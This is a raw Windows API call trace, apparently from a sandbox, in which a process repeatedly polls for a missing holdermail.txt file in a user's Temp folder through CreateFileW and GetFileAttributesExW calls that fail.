	[0089.165] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.165] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.166] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.166] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.166] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.167] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.167] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.167] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.168] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.168] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.168] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.168] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.168] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.168] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.168] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.169] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.169] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.169] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.169] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.169] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.169] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.170] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.170] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.171] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.171] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.171] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.171] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.171] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.172] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.172] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.172] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.172] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.172] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.172] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.173] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.173] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.173] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.173] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.173] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.173] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.173] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.174] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.174] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.174] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.174] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.175] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.175] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.175] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.176] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.176] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.176] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.176] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.176] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.176] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.177] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.177] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.177] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.177] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.177] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.177] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.178] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.178] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.179] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.179] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.179] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.179] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.179] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.179] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.179] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.180] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.180] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.180] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.180] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
